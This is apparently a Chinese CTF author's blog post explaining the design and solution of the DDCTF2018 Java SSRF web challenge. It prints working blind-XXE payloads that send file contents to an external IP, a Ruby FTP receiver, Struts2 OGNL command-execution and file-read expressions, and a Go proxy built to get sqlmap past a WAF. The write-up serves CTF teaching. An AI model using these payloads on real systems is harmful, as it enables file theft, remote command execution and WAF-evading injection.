DDCTF2018 Java SSRF Web出题思路

0x00 说明

这次DDCTF2018我出了一道Java Web题目“喝杯Java冷静下”,这里记录下一些出题思路和用到的技术。

0x01 出题思路和技术

  • 通过任意文件下载漏洞,下载java配置文件和class字节码文件。
  • 通过blind XXE进行SSRF攻击。
  • 修改Struts2 POC,读写文件。

整个题目由3个Docker环境内联启动。Java程序基于开源项目quick4j开发,升级了相关可能存在风险的第三方Jar包。 很担心大家会走错思路使用shiro框架的反序列化漏洞进行攻击。 为防止搞事,tomcat启动使用gosu工具指定低权限用户www-data进行启动。 Java Blind XXE读文件,如果是多行会有问题,因此我将flag文件设置成了1行。试过ftp协议,可能是JDK版本和Linux环境问题,始终无法达到预期顺利读取多行数据的效果。 后面的Struts2项目使用JVM-Sandbox进行底层函数Hook,阻止命令执行。

0x02 解题过程

1.任意文件下载漏洞审计Java代码

查看源码,会看到用户名和密码。进入系统,很容易发现任意文件下载漏洞,通过github上的安全项目的目录下载class文件,发现在SecurityRealm字节码文件中存在后门。 这里的知识点是f5a5a608的HashCode值为0,在反序列化漏洞的执行链构造用到了,本意让大家能够深入去了解下。

2.XXE漏洞渗透内网

记录下xxe漏洞测试过程:通过/quick4j_ddctf/rest/user/nicaicaikan_url_23333_secret,首先测试是否可以blind xxe带出数据:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://121.42.175.111:8888/blind_xxe_test">
%remote;]>
<root/>

再测试获取数据的POC: evil.dtd

1
2
3
4
<!ENTITY % payload SYSTEM "file:///C:\\Users\\angelwhu\\Desktop\\tmp.txt">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://121.42.175.111:8888/?xxe_local=%payload;'>">
%int;
%trick;

payload:

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://121.42.175.111:8888/evil.dtd">
%remote;
]>
<root/>

同时测试读取多行内容,使用ftp协议: evil.dtd:

1
2
3
4
<!ENTITY % payload SYSTEM "file:///C:\\Users\\angelwhu\\Desktop\\tmp.txt">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'ftp://121.42.175.111:33/%payload;'>">
%int;
%trick;

服务器运行ruby脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
require 'socket'
server = TCPServer.new 33
loop do
Thread.start(server.accept) do |client|
puts "New client connected"
data = ""
client.puts("220 xxe-ftp-server")
loop {
req = client.gets()
puts "< "+req
if req.include? "USER"
client.puts("331 password please - version check")
else
#puts "> 230 more data please!"
client.puts("230 more data please!")
end
}
end
end

这里说明下,在windows环境中我成功读取多行内容,但在linux环境中失败了,因此没有考这个知识点。 实际上我还担心各位使用jar://协议,参考https://www.youtube.com/watch?v=eHSNT8vWLfc&feature=youtu.be,但在此题没有上传点,不适用。

3.Struts2漏洞攻击

这里主要考察自己构造POC的能力,有2个知识点,不知各位get到没~

  • 网上POC末尾都会有空字符,无法通过xxe获取出来~

相当于写Java代码,使用BufferedReader读文件,使返回结果末尾没有空字符:

1
${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'sh','-c','whoami'})).start(),#b=#a.getInputStream(),#c=new java.io.BufferedInputStream(#b),#k=new java.io.InputStreamReader(#c),#d=new java.io.BufferedReader(#k),#e=#d.readLine(),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
  • 题目使用JVM-Sandbox限制了底层命令执行的函数,需要自己构造POC读取flag文件。

调整POC直接读取/flag/flag.txt文件:

1
${#a=new java.io.File("/flag/flag.txt"),#b=new java.io.FileReader(#a),#c=new java.io.BufferedReader(#b),#e=#c.readLine(),#c.close(),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

0x04 思考与总结

这次出题很欣慰没有出啥非预期的结果,只希望做题的人能get到里面所用到的技术。比如:思考下我怎么限制命令执行的,用到了啥技术?如果flag文件是多行,能获取不?
相关出题的代码文件: https://github.com/angelwhu/ctfs/tree/master/ddctf2018_java_web

0x05 ddctf web1思考

在自己出题的同时,关注了下其他的题目~ 第1个Web题目就很有意思。但是看的过程中有个疑问: 网上writeup用php挂个代理,用sqlmap就能绕waf了(常规思路应该是使用自己写脚本盲注绕waf的方式)?我决定用go语言写个代理试试。花了点时间搞明白了这件事情:

  • 代理将post数据改用了multipart/form-data形式(而非application/x-www-form-urlencoded),这样就能绕过waf。
  • waf还识别sqlmap的user-agent,不能直接转发UA。

以下是我的代理代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
package main

import (
"github.com/gin-gonic/gin"
"fmt"
"time"
"strconv"
"crypto/sha1"
"net/http"
"net"
"strings"
"encoding/hex"
"io/ioutil"
"bytes"
"mime/multipart"
)

type MyProxy struct {
context *gin.Context
}

func sign(id, title, author, date, time string) string {
key := "adrefkfweodfsdpiru"
signString := "id=" + id + "title=" + title + "author=" + author + "date=" + date + "time=" + time + key

h := sha1.New()
h.Write([]byte(signString))
res := h.Sum(nil)

return hex.EncodeToString(res)
}

// 配合sqlmap的proxy,相当于tamper功能。
func ddctf2018web1(c *gin.Context) {
timestamp := strconv.FormatInt(time.Now().Unix(), 10)
id := c.Query("id")
title := c.Query("title")
author := c.Query("author")
fmt.Println(author)
date := c.Query("date")
signedString := sign(id, title, author, date, timestamp)

host := "116.85.43.88:8080"
url := "/ZVDHKBUVUZSTJCNX/dfe3ia/index.php"
query := "sig=" + signedString + "&time=" + timestamp

urlReal := "http://" + host + "" + url + "?" + query

proxy := &MyProxy{context: c}
proxy.proxy(urlReal, id, title, author, date)

}

func (myProxy *MyProxy) proxy(urlReal, id, title, author, date string, ) {
fmt.Printf("Received request %s %s %s\n", myProxy.context.Request.Method, myProxy.context.Request.Host, myProxy.context.Request.RemoteAddr)
// 使用multipart/form-data形式绕过waf.
// http://blog.codeg.cn/2015/03/18/golang-how-to-make-a-multipart-http-request/,https://my.oschina.net/bianweiall/blog/544355
multipartPostbody := &bytes.Buffer{}
writer := multipart.NewWriter(multipartPostbody)

extraParams := map[string]string{
"id": id,
"title": title,
"author": author,
"date": date,
}
for key, val := range extraParams {
_ = writer.WriteField(key, val)
}
writer.Close()

// step 1.
outReq, _ := http.NewRequest("POST", urlReal, multipartPostbody)

if clientIP, _, err := net.SplitHostPort(myProxy.context.Request.RemoteAddr); err == nil {
if prior, ok := outReq.Header["X-Forwarded-For"]; ok {
clientIP = strings.Join(prior, ", ") + ", " + clientIP
}
outReq.Header.Set("X-Forwarded-For", "123.232.23.245")
}
//outReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")
outReq.Header.Set("Content-Type", writer.FormDataContentType())
//outReq.Header.Set("User-Agent", myProxy.context.Request.UserAgent())
// step 2
//res, err := transport.RoundTrip(outReq)
client := &http.Client{}
resp, err := client.Do(outReq)

defer resp.Body.Close()
if err != nil {
myProxy.context.JSON(http.StatusBadGateway, gin.H{
"error": "proxy is bad~",
})
return
}

// step 3
for key, value := range resp.Header {
for _, v := range value {
myProxy.context.Header(key, v)
}
}

body, err := ioutil.ReadAll(resp.Body)
if err != nil {
// handle error
myProxy.context.JSON(http.StatusBadGateway, gin.H{
"error": "proxy is bad~",
})
return
}

myProxy.context.Header("Content-Type", "text/html; charset=utf-8")
myProxy.context.String(resp.StatusCode, string(body))
}

func main() {
r := gin.Default()
r.GET("/ddctf", ddctf2018web1)
r.Run(":8000")
}
文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2018/10/20/ddctf2018-java-ssrf-web-problem-ideas/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog